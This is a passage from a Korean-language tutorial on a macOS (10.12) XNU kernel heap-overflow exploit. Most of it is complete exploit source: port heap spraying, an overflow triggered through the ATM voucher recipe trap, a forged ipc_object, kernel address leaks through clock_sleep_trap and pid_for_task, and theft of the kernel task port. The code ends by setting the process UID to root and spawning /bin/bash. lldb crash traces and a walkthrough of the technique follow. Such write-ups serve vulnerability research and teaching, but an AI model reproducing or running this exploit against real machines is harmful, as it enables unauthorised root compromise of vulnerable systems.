MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);  send_msg.msg_head.msgh_size = sizeof(struct ool_send_msg) - 16;  send_msg.msg_head.msgh_remote_port = MACH_PORT_NULL;  send_msg.msg_head.msgh_local_port = MACH_PORT_NULL; // NULL SEND  send_msg.msg_head.msgh_reserved = 0x00;  send_msg.msg_head.msgh_id = 0x00;    /* SET MSG BODY */  send_msg.msg_body.msgh_descriptor_count = 1;    /* SET MSG OOL PORT DESCRIPTOR */  for(int i = 0; i<=16; i++){ // appropriate ipc-send size     send_msg.msg_ool_ports[i].address = use_ports;   send_msg.msg_ool_ports[i].count = 32; // kalloc 0x100 (256)   send_msg.msg_ool_ports[i].deallocate = 0x00;   send_msg.msg_ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;   send_msg.msg_ool_ports[i].disposition = MACH_MSG_TYPE_MAKE_SEND;   send_msg.msg_ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;  }   // Part 3. Message Fengshui  /* SEND MSG */  for(current_port_num = 0; current_port_num < USE_PORT_START; current_port_num++){   send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];   kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);   if(send_result != KERN_SUCCESS){    printf("[-] Error in OOL Fengshui send\nError : %s\n", mach_error_string(send_result));    exit(1);   }  }  for(current_port_num = USE_PORT_END; current_port_num < PORT_COUNT; current_port_num++){   send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];   kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);   if(send_result != KERN_SUCCESS){    printf("[-] Error in OOL Fengshui send\nError : %s\n", mach_error_string(send_result));    exit(1);   }  }  for(current_port_num = USE_PORT_START; current_port_num < USE_PORT_END; current_port_num++){   send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];   kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);   if(send_result != KERN_SUCCESS){    printf("[-] Error in OOL Fengshui send\nError : %s\n", mach_error_string(send_result));    exit(1);   }  }   /* RECV MSG */  for(current_port_num = USE_PORT_START; current_port_num < USE_PORT_END; current_port_num += 4){   recv_msg.msg_head.msgh_local_port = ool_ports[current_port_num];   kern_return_t recv_result = mach_msg(&recv_msg.msg_head, MACH_RCV_MSG | MACH_MSG_OPTION_NONE, 0, sizeof(struct ool_recv_msg), ool_ports[current_port_num], MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);   if(recv_result != KERN_SUCCESS){    printf("[-] Error in OOL Fengshui recv\nError : %s\n", mach_error_string(recv_result));    exit(1);   }  }   /* RE-SEND MSG */  for(current_port_num = USE_PORT_START; current_port_num < USE_PORT_HALF; current_port_num += 4){   send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];   kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);   if(send_result != KERN_SUCCESS){    printf("[-] Error in OOL Fengshui re-send\nError : %s\n", mach_error_string(send_result));    exit(1);   }  }    printf("[+] OOL Port Fengshui Success\n");  return ool_ports; }  /* ---- FROM Crash PoC ---- */ uint64_t map(uint64_t size) {  uint64_t _addr = 0x00;  kern_return_t err = mach_vm_allocate(mach_task_self(), &_addr, size, VM_FLAGS_ANYWHERE);  if (err != KERN_SUCCESS) {   printf("failed to allocate fixed mapping: %s\n", mach_error_string(err));   exit(EXIT_FAILURE);  }  return _addr; } /* ----------------- */  /* ---- FROM exp.m ---- */ uint64_t roundup(uint64_t val, uint64_t pagesize) {  val += pagesize - 1;  val &= ~(pagesize - 1);  return val; } void heap_overflow(uint64_t kalloc_size, uint64_t overflow_length, uint8_t* overflow_data, mach_port_t* voucher_port) {    int pagesize = getpagesize();   void* recipe_size = (void*)map(pagesize);  *(uint64_t*)recipe_size = kalloc_size;   uint64_t actual_copy_size = kalloc_size + overflow_length;  uint64_t alloc_size = roundup(actual_copy_size, pagesize) + pagesize;     uint64_t base = map(alloc_size); // unmap page          uint64_t end = base + roundup(actual_copy_size, pagesize);     mach_vm_deallocate(mach_task_self(), end, pagesize); // for copyin() stop          uint64_t start = end - actual_copy_size;          uint8_t* recipe = (uint8_t*)start;          memset(recipe, 0x41, kalloc_size); // set kalloc size     memcpy(recipe + kalloc_size, overflow_data, overflow_length); // set overflow bytes          kern_return_t err = mach_voucher_extract_attr_recipe_trap(voucher_port, 1, recipe, recipe_size); // Trigger  } /* -------------------- */  mach_port_t* find_manipulation_port(mach_port_t* port_list){  for(int i = 0; i < USE_PORT_END; i++){   send_msg.msg_head.msgh_local_port = port_list[i];   kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_RCV_MSG | MACH_MSG_OPTION_NONE, 0, sizeof(struct ool_send_msg), port_list[i], MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);   for(int k = 0; k < send_msg.msg_body.msgh_descriptor_count; k++){ // traversing ool descriptors    mach_port_t* tmp_port = send_msg.msg_ool_ports[k].address;    if(tmp_port[0] != MACH_PORT_DEAD && tmp_port[0] != NULL){ // is Manipulated? (compare 8 bytes is enough. cuz of 8 bytes overflow)     printf("[+] Found manipulated port! %dth port : %dth descriptor => %llx\n", i, k, tmp_port[0]);     return tmp_port[0];    }   }   }   printf("[-] Error in Find Manipulated Port\n");  exit(1); }  uint64_t get_clock_list_addr(uint64_t fake_port, mach_port_t* manipulated_port){  for(uint64_t guess_clock_addr = 0xffffff8000200000; guess_clock_addr < 0xffffff80F0200000; guess_clock_addr++){   *(uint64_t *)(fake_port + TASK_GAP_IN_IPC_OBJ) = guess_clock_addr; // Traverse address   *(uint64_t *)(fake_port + 0xa0) = 0xff;     if(clock_sleep_trap(manipulated_port, 0, 0, 0, 0) == KERN_SUCCESS){    printf("[+] found clock_list addr : %llx\n", guess_clock_addr);    return (guess_clock_addr);   }  }  printf("[-] Find clock_list addr failed.\n");  exit(1); }  uint64_t get_kernel_addr(uint64_t fake_port, void* fake_task, uint64_t clock_list_addr, mach_port_t* manipulated_port){  *(uint64_t*) (fake_port + TASK_GAP_IN_IPC_OBJ) = fake_task;     *(uint64_t*) (fake_port + 0xa0) = 0xff;      *(uint64_t*) (fake_task + 0x10) = 0x01;        clock_list_addr &= ~(0x3FFF);      for(uint64_t current_addr = clock_list_addr; current_addr > 0xffffff8000200000; current_addr-=0x4000) {      int32_t kernel_data = 0;      *(uint64_t*) (fake_task + TASK_INFO_GAP) = current_addr - 0x10;      pid_for_task(manipulated_port, &kernel_data);      if (kernel_data == 0xfeedfacf) {       printf("[+] Found kernel_text addr : %llx\n", current_addr);       return current_addr;      }     } }  uint64_t get_proc_addr(uint64_t pid, uint64_t kernel_addr, void* fake_task, mach_port_t* manipulated_port){  uint64_t allproc_real_addr = 0xffffff8000ABB490 - 0xffffff8000200000 + kernel_addr;    uint64_t pCurrent = allproc_real_addr;  uint64_t pNext = pCurrent;  while (pCurrent != NULL) {   int nPID = 0;       *(uint64_t*) (fake_task + TASK_INFO_GAP) = pCurrent;   pid_for_task(manipulated_port, (int32_t*)&nPID);   if (nPID == pid) {    return pCurrent;   }   else{    *(uint64_t*) (fake_task + TASK_INFO_GAP) = pCurrent - 0x10;    pid_for_task(manipulated_port, (int32_t*)&pNext);    *(uint64_t*) (fake_task + TASK_INFO_GAP) = pCurrent - 0x0C;    pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&pNext)) + 4));    pCurrent = pNext;   }  }  }  dumpdata* get_kernel_priv(uint64_t kernel_process, uint64_t* fake_port, void* fake_task, mach_port_t* manipulated_port){  dumpdata* data = (dumpdata *)malloc(sizeof(dumpdata));  data->dump_port = malloc(0x1000);  data->dump_task = malloc(0x1000);   uint64_t kern_task = 0;  *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kernel_process + 0x18) - 0x10 ;  pid_for_task(manipulated_port, (int32_t*)&kern_task);  *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kernel_process + 0x1C) - 0x10;  pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&kern_task)) + 4));   uint64_t itk_kern_sself = 0;  *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + ITK_KERN_SSELF_GAP_IN_TASK) - 0x10;  pid_for_task(manipulated_port, (int32_t*)&itk_kern_sself);  *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + ITK_KERN_SSELF_GAP_IN_TASK + 4) - 0x10;  pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));  data->dump_itk_kern_sself = itk_kern_sself;   for (int i = 0; i < 256; i++) {   *(uint64_t*) (fake_task + TASK_INFO_GAP) = (itk_kern_sself + i*4) - 0x10;   pid_for_task(manipulated_port, (int32_t*)(data->dump_port + (i*4)));  }  for (int i = 0; i < 256; i++) {   *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + i*4) - 0x10;   pid_for_task(manipulated_port, (int32_t*)(data->dump_task + (i*4)));  }  return data; }  void main(void){  // Create OOL Ports [Fengshui]  mach_port_t* created_ports = ool_port_fengshui();   // Create ATM Voucher & fakeport => ipc_object [Overflow ready]  mach_port_t* voucher_port = MACH_PORT_NULL;  mach_voucher_attr_recipe_data_t atm_data = {   .key = MACH_VOUCHER_ATTR_KEY_ATM,   .command = MACH_VOUCHER_ATTR_ATM_CREATE  };  kern_return_t err = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&atm_data, sizeof(atm_data), &voucher_port);   ipc_object* fake_port = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); // alloc fake_port  void* fake_task = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); // alloc fake_task  fake_port->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; // for clock trap  fake_port->io_lock_data[12] = 0x11;  printf("[+] Create Fake Port. Address : %llx\n", (unsigned long long)fake_port);    // Overflow Trigger  heap_overflow(0x100, 0x8, (unsigned char *)&fake_port, voucher_port);    // Find manipulated port  mach_port_t* manipulated_port = find_manipulation_port(created_ports);   // Leak Kernel Address using system clock trap => clock_list  uint64_t clock_list = get_clock_list_addr((uint64_t) fake_port, manipulated_port);  fake_port->io_bits = IO_BITS_ACTIVE | IKOT_TASK; // for task trap  fake_port->io_references = 0x01; // [osfmk/ipc/ipc_object.c] (cuz of, assert(object->ioreferences > 0) pass)   uint64_t kernel_addr = get_kernel_addr((uint64_t) fake_port, fake_task, clock_list, manipulated_port);   // Get my process and kernel process  uint64_t current_process = get_proc_addr(getpid(), kernel_addr, fake_task, manipulated_port);   printf("[+] Found current process addr : %llx\n", current_process);  uint64_t kernel_process = get_proc_addr(0, kernel_addr, fake_task, manipulated_port);  printf("[+] Found kernel addr : %llx\n", kernel_process);   // Kernel AAR/AAW => kernel taskport & kernel port right  dumpdata* data = get_kernel_priv(kernel_process, &fake_port, fake_task, manipulated_port);  memcpy(fake_port, data->dump_port, 0x1000);  memcpy(fake_task, data->dump_task, 0x1000);  *(uint64_t*)(((uint64_t)fake_port) + TASK_GAP_IN_IPC_OBJ) = fake_task;  *(uint64_t*)(((uint64_t)fake_port) + 0xa0) = 0xff;   *(uint64_t*)(((uint64_t)fake_task) + 0x2b8) = data->dump_itk_kern_sself;  mach_port_t kernel_port;  task_get_special_port(manipulated_port, 4, &kernel_port);    // Privilege Esccalation  uint64_t cred;  mach_vm_size_t read_bytes = 8;  mach_vm_read_overwrite(kernel_port, (current_process + UCRED_GAP_IN_PROCESS), (size_t)8, (mach_vm_offset_t)(&cred), &read_bytes); // AAR in Kernel  vm_offset_t root_uid = 0;  mach_msg_type_number_t write_bytes = 8;  mach_vm_write(kernel_port, (cred + CR_RUID_GAP_IN_UCRED), &root_uid, (mach_msg_type_number_t)write_bytes); // AAW in Kernel     system("/bin/bash"); // Get Shell      }

컴파일: clang -framework IOKit -framework Foundation -framework CoreFoundation -pagezero_size 0x16000 poc.m -o poc


Debugging

이전 시리즈를 통해 macOS 커널디버깅을 익히고 나서 이번 내용을 보기 바란다. 이 버그를 디버깅 해 볼 것인데, 트리거 될때마다 컨트롤 플로우가 항상 달라 같은 결과를 보기가 어렵다. 따라하기보다는 어떻게 디버깅을 해서 접근을 하는지에 대한 참고로 사용하기 바란다.

(lldb) bt * thread #2, name = '0xffffff8019752980', queue = '0x0', stop reason = signal SIGSTOP     frame #0: 0xffffff801200bb4e kernel`Debugger [inlined] hw_atomic_sub(delt=1) at locks.c:1513 [opt]     frame #1: 0xffffff801200bb4e kernel`Debugger(message=) at model_dep.c:1025 [opt]     frame #2: 0xffffff8011ef368c kernel`panic(str="\"a freed zone element has been modified in zone %s: expected %p but found %p, bits changed %p, at offset %d of %d in element %p, cookies %p %p\"@/Library/Caches/com.apple.xbs/Sources/xnu/xnu-3789.21.4/osfmk/kern/zalloc.c:651") at debug.c:458 [opt]     frame #3: 0xffffff8011f3f5c0 kernel`backup_ptr_mismatch_panic [inlined] zone_element_was_modified_panic(offset=0x0000000000000000) at zalloc.c:642 [opt]     frame #4: 0xffffff8011f3f559 kernel`backup_ptr_mismatch_panic(zone=, element=, primary=0x4141414141414141, backup=) at zalloc.c:710 [opt]     frame #5: 0xffffff8011f3e739 kernel`try_alloc_from_zone(zone=, check_poison=) at zalloc.c:832 [opt]     frame #6: 0xffffff8011f3d174 kernel`zalloc_internal(zone=, canblock=1, nopagewait=0) at zalloc.c:2284 [opt]   * frame #7: 0xffffff8011f84580 kernel`vm_map_copyin_internal at vm_map.c:9428 [opt]     frame #8: 0xffffff8011f8454d kernel`vm_map_copyin_internal(src_map=, src_addr=140351697002496, len=3240, flags=, copy_result=) at vm_map.c:10279 [opt]     frame #9: 0xffffff8011ed7629 kernel`ipc_kmsg_copyin_ool_descriptor [inlined] vm_map_copyin_common(src_map=, src_destroy=, copy_result=0xffffff8872c1be40, use_maxprot=0) at vm_map.c:10187 [opt]     frame #10: 0xffffff8011ed7616 kernel`ipc_kmsg_copyin_ool_descriptor(dsc=0xffffff8018e99498, user_dsc=, is_64bit=, paddr=, copy=0xffffff8872c1be40, space_needed=, map=, mr=) at ipc_kmsg.c:2701 [opt]     frame #11: 0xffffff8011ed7c25 kernel`ipc_kmsg_copyin_body(kmsg=0xffffff8018e99400, space=0xffffff8018925b40, map=0xffffff801c0e9e08) at ipc_kmsg.c:3035 [opt]     frame #12: 0xffffff8011ee992f kernel`mach_msg_overwrite_trap(args=) at mach_msg.c:548 [opt]     frame #13: 0xffffff8011ff26ae kernel`mach_call_munger64(state=0xffffff8018dd12c0) at bsd_i386.c:562 [opt]     frame #14: 0xffffff8011ea5f66 kernel`hndl_mach_scall64 + 22

버그가 트리거 되면 여러개의 프레임들이 있는데, 우리는 힙영역을 구경할것이기 때문에 try_alloc_from_zone이 있는 프레임을 선택해 레지스터를 확인해 볼 것이다.

(lldb) register read General Purpose Registers:        rbx = 0xffffff801f9a3000        rbp = 0xffffff8872c1bb50        rsp = 0xffffff8872c1bb10        r12 = 0x7e415085550ee3c7        r13 = 0x4141414141414141        r14 = 0xffffff8017cd74c0        r15 = 0x4141414141414141        rip = 0xffffff8011f3e739  kernel`try_alloc_from_zone + 521 at zalloc.c:832 13 registers were unavailable.

우선 r13과 r15 레지스터가 우리가 조작한 데이터로 덮혀씌워졌음을 알수있고, rbx는 어떤 객체를 가리키고있다.

(lldb) memory read $rbx 0xffffff801f9a3000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 0xffffff801f9a3010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

kalloc으로 할당한 힙 영역임을 알 수 있고, 우리가 넣은 데이터들을 확인 할 수 있다. 이렇게 원하는곳에 Write를 할 수 있으니, Leak을 통해 커널베이스를 알아낼 수 있다면, posix_cred 구조체의 주소를 알아낸후 익스플로잇 하면 된다.

posix_cred 구조체를 확인해보도록 할 것이다.

(lldb) image list [  0] 75CA1C4D-7BF4-321B-B544-D8F1B6D60EF8 0xffffff8011e00000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Kernels/kernel        /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Kernels/kernel.dSYM/Contents/Resources/DWARF/kernel [  1] 4F7FB6AD-2498-3F71-827C-ED7AA4BF2511 0xffffff7f92c0c000 //System/Library/Extensions/IOACPIFamily.kext/Contents/MacOS/IOACPIFamily  [  2] A55C1363-A09F-3755-9BD3-526A7A2C3B5B 0xffffff7f92732000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOPCIFamily.kext/IOPCIFamily        /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOPCIFamily.kext.dSYM/Contents/Resources/DWARF/IOPCIFamily [  3] EA5D0966-E8EA-337A-98EB-195806E8F723 0xffffff7f92ebe000 //System/Library/Extensions/AppleFDEKeyStore.kext/Contents/MacOS/AppleFDEKeyStore  [  4] B14DC3D3-7250-3DA3-BF50-C666EBEDAF4C 0xffffff7f932b6000 //System/Library/Extensions/IOReportFamily.kext/Contents/MacOS/IOReportFamily  [  5] 510A2AD8-C127-34AA-A984-95A82C6AC1DA 0xffffff7f92650000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOStorageFamily.kext/Contents/MacOS/IOStorageFamily        /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOStorageFamily.kext.dSYM/Contents/Resources/DWARF/IOStorageFamily [  6] DB526B45-1A45-3A81-A0C1-57F826CADEDF 0xffffff7f92c15000 //System/Library/Extensions/AppleBusPowerController.kext/Contents/MacOS/AppleBusPowerController  [  7] 39E90AC4-0FCA-3CBD-80B2-3CBCD82940DC 0xffffff7f92c22000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOUSBHostFamily.kext/Contents/MacOS/IOUSBHostFamily  [  8] 3B280DAB-903F-33DC-8110-525A1154B11E 0xffffff7f92b2f000 //System/Library/Extensions/AppleMatch.kext/Contents/MacOS/AppleMatch  [  9] BC2E6D01-BCBB-3525-BF38-BF99C3F1EC46 0xffffff7f93eca000 //System/Library/Extensions/AppleAPIC.kext/Contents/MacOS/AppleAPIC  [ 10] 9BB02681-4B47-3592-AD62-71FB0BF56965 0xffffff7f93c24000 //System/Library/Extensions/AppleSMBIOS.kext/Contents/MacOS/AppleSMBIOS  [ 11] 3FD1BCF4-8AFC-3CE6-A36E-26410544AD14 0xffffff7f93c51000 //System/Library/Extensions/AppleRTC.kext/Contents/MacOS/AppleRTC  [ 12] 185F0EBF-0262-3370-BD47-8FE4C8AA726E 0xffffff7f93242000 //System/Library/Extensions/IOSMBusFamily.kext/Contents/MacOS/IOSMBusFamily  [ 13] 2CFB49B8-4CC2-320B-9C6E-99646DFD8571 0xffffff7f93e5c000 //System/Library/Extensions/AppleHPET.kext/Contents/MacOS/AppleHPET  [ 14] 1A48D920-280E-36FA-8D48-49B79A5656E6 0xffffff7f92ec9000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOHIDFamily.kext/Contents/MacOS/IOHIDFamily        /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOHIDFamily.kext.dSYM/Contents/Resources/DWARF/IOHIDFamily [ 15] 365596E4-A771-3427-B576-DB02D03FAEFE 0xffffff7f92dfe000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOUSBFamily.kext/Contents/MacOS/IOUSBFamily        /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOUSBFamily.kext.dSYM/Contents/Resources/DWARF/IOUSBFamily [ 16] 6326DB88-5330-3F0C-91F6-D478AB5E7503 0xffffff7f92d8a000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IONetworkingFamily.kext/Contents/MacOS/IONetworkingFamily        /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IONetworkingFamily.kext.dSYM/Contents/Resources/DWARF/IONetworkingFamily [ 17] 34B30414-098D-3D22-AAB5-1A754D0647C6 0xffffff7f93356000 //System/Library/Extensions/IONetworkingFamily.kext/Contents/PlugIns/AppleIntel8254XEthernet.kext/Contents/MacOS/AppleIntel8254XEthernet  [ 18] BDC5E432-B04E-3ACF-A213-672128140381 0xffffff7f93705000 //System/Library/Extensions/IOATAFamily.kext/Contents/PlugIns/AppleIntelPIIXATA.kext/Contents/MacOS/AppleIntelPIIXATA  [ 19] 5C275B66-A173-3D92-853A-44FC35D45FFC 0xffffff7f93717000 //System/Library/Extensions/IOAHCIFamily.kext/Contents/MacOS/IOAHCIFamily  [ 20] BE72151C-73BE-35B7-8C31-74F49E4C5E98 0xffffff7f93ecf000 //System/Library/Extensions/AppleAHCIPort.kext/Contents/MacOS/AppleAHCIPort  [ 21] C449634B-8121-3BFB-972D-966847C4321F 0xffffff7f93741000 //System/Library/Extensions/IOAHCIFamily.kext/Contents/PlugIns/IOAHCIBlockStorage.kext/Contents/MacOS/IOAHCIBlockStorage  [ 22] 0E35A335-5605-36FB-991C-D0D38F4FA4E7 0xffffff7f926ef000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSCSIArchitectureModelFamily.kext/Contents/MacOS/IOSCSIArchitectureModelFamily        /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSCSIArchitectureModelFamily.kext.dSYM/Contents/Resources/DWARF/IOSCSIArchitectureModelFamily [ 23] 4A92621E-97C8-3AB4-8E25-C540967F573C 0xffffff7f93262000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSCSIArchitectureModelFamily.kext/Contents/PlugIns/SCSITaskUserClient.kext/Contents/MacOS/SCSITaskUserClient        /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSCSIArchitectureModelFamily.kext/Contents/PlugIns/SCSITaskUserClient.kext.dSYM/Contents/Resources/DWARF/SCSITaskUserClient [ 24] 9EEF7CF2-673C-3743-84DD-D3B3D5E61DDB 0xffffff7f9326d000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOCDStorageFamily.kext/Contents/MacOS/IOCDStorageFamily        /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOCDStorageFamily.kext.dSYM/Contents/Resources/DWARF/IOCDStorageFamily [ 25] 9BC77405-09A3-3398-AE63-98894C42E288 0xffffff7f9327e000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IODVDStorageFamily.kext/Contents/MacOS/IODVDStorageFamily        /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IODVDStorageFamily.kext.dSYM/Contents/Resources/DWARF/IODVDStorageFamily [ 26] EE071733-F836-360B-958B-440E2CCF81E1 0xffffff7f9328c000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOBDStorageFamily.kext/Contents/MacOS/IOBDStorageFamily        /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOBDStorageFamily.kext.dSYM/Contents/Resources/DWARF/IOBDStorageFamily [ 27] 315023CC-5BBD-3C98-947C-56D52D1C50F6 0xffffff7f93298000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSCSIArchitectureModelFamily.kext/Contents/PlugIns/IOSCSIMultimediaCommandsDevice.kext/Contents/MacOS/IOSCSIMultimediaCommandsDevice        /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSCSIArchitectureModelFamily.kext/Contents/PlugIns/IOSCSIMultimediaCommandsDevice.kext.dSYM/Contents/Resources/DWARF/IOSCSIMultimediaCommandsDevice [ 28] D01B501C-E5B8-36AC-930C-978C205EFEFF 0xffffff7f92b6c000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOGraphicsFamily.kext/IOGraphicsFamily        /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOGraphicsFamily.kext.dSYM/Contents/Resources/DWARF/IOGraphicsFamily [ 29] C0ABF85C-CA30-3F02-9E1E-06F3BA5047A8 0xffffff7f938fa000 //System/Library/Extensions/vecLib.kext/Contents/MacOS/vecLib  [ 30] 03A8E3F2-F30D-3D41-85E7-0B1C58034419 0xffffff7f9398f000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily        /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOAudioFamily.kext.dSYM/Contents/Resources/DWARF/IOAudioFamily [ 31] F39509A4-191C-35DA-B7D9-08F95E5AB8BC 0xffffff7f93a7b000 //System/Library/Extensions/AppleUpstreamUserClient.kext/Contents/MacOS/AppleUpstreamUserClient  [ 32] 6FE984DD-A1FE-309E-83CF-B346989A6F17 0xffffff7f93d73000 //System/Library/Extensions/AppleIntelSlowAdaptiveClocking.kext/Contents/MacOS/AppleIntelSlowAdaptiveClocking  [ 33] B36990F3-B873-31BB-8A1B-5615A3277382 0xffffff7f93251000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSerialFamily.kext/Contents/MacOS/IOSerialFamily        /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSerialFamily.kext.dSYM/Contents/Resources/DWARF/IOSerialFamily

우선 위 커맨드로 커널이 로딩된 베이스주소를 알아낼 수 있다. 구조체의 오프셋을 알고있다면 그 커널주소에서 오프셋만큼 더해 구조체를 볼 수 있다. 아래부터는 디버깅을 하는대신, dumpcode함수를 이용하여 한눈에 보기쉽도록 코드를 작성했다.

msg1와 msg2를 초기화한 상태와, Port 풍수를 이용하여 달라진 모습이다.

OOL port 풍수를 통해 ipc_object pointer를 fake ipc_object를 가리키게 만든다. 그리고나서 ipc_object의 io_bits를 IKOT_CLOCK으로 설정하는데, 위에 ipc_object 구조체를 보면 처음부분에 io_bits가 존재한다.

익스 코드에는 다음과 같이 되어있다.

fake_port->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; // for clock trap ... fake_port->io_bits = IO_BITS_ACTIVE | IKOT_TASK; // for task trap

io_bits는 mach port type쓸때 적용해주는것인데, 우리는 먼저 커널을 릭해내야 하기 때문에 IKOT_CLOCK으로 비트를 주었다. IKOT_CLOCK을 사용한 이유는 clock_sleep_trap()를 통해 해당 주소에서 릭을 하기 위함이다. clock_sleep_trap을 이용하여 릭을하면, vtable의 주소를 얻어낼것이고, 오프셋은 동일하기때문에 get_kernel_addr()에서 커널 text주소를 구해낸다.

또, IKOT_TASK를 설정한 이유는 fake task를 작성해서 사용할것이기때문에 포트타입을 task로 설정해주는 것이다. 전체적으로 보면 fake task는 값을 조작해서 pid_for_task를 이용해 커널메모리를 읽기위해 쓰인다. 다음을 보면 pid_for_task를 이용하여 현재 프로세스주소를 릭하는것을 획안 할 수 있다.

중요한것은 pid_for_task가 task의 유효성을 검사하지않고 리턴을 (faketask + 0x380) + 0x10)값으로 주기때문에 릭이 가능한것이다.

dumpdata* get_kernel_priv(uint64_t kernel_process, uint64_t* fake_port, void* fake_task, mach_port_t* manipulated_port){     dumpdata* data = (dumpdata *)malloc(sizeof(dumpdata));     data->dump_port = malloc(0x1000);     data->dump_task = malloc(0x1000);      uint64_t kern_task = 0;     *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kernel_process + 0x18) - 0x10 ;     pid_for_task(manipulated_port, (int32_t*)&kern_task);     *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kernel_process + 0x1C) - 0x10;     pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&kern_task)) + 4));      uint64_t itk_kern_sself = 0;     *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + ITK_KERN_SSELF_GAP_IN_TASK) - 0x10;     pid_for_task(manipulated_port, (int32_t*)&itk_kern_sself);     *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + ITK_KERN_SSELF_GAP_IN_TASK + 4) - 0x10;     pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));     data->dump_itk_kern_sself = itk_kern_sself;      for (int i = 0; i < 256; i++) {         *(uint64_t*) (fake_task + TASK_INFO_GAP) = (itk_kern_sself + i*4) - 0x10;         pid_for_task(manipulated_port, (int32_t*)(data->dump_port + (i*4)));     }     for (int i = 0; i < 256; i++) {         *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + i*4) - 0x10;         pid_for_task(manipulated_port, (int32_t*)(data->dump_task + (i*4)));     }     return data; }

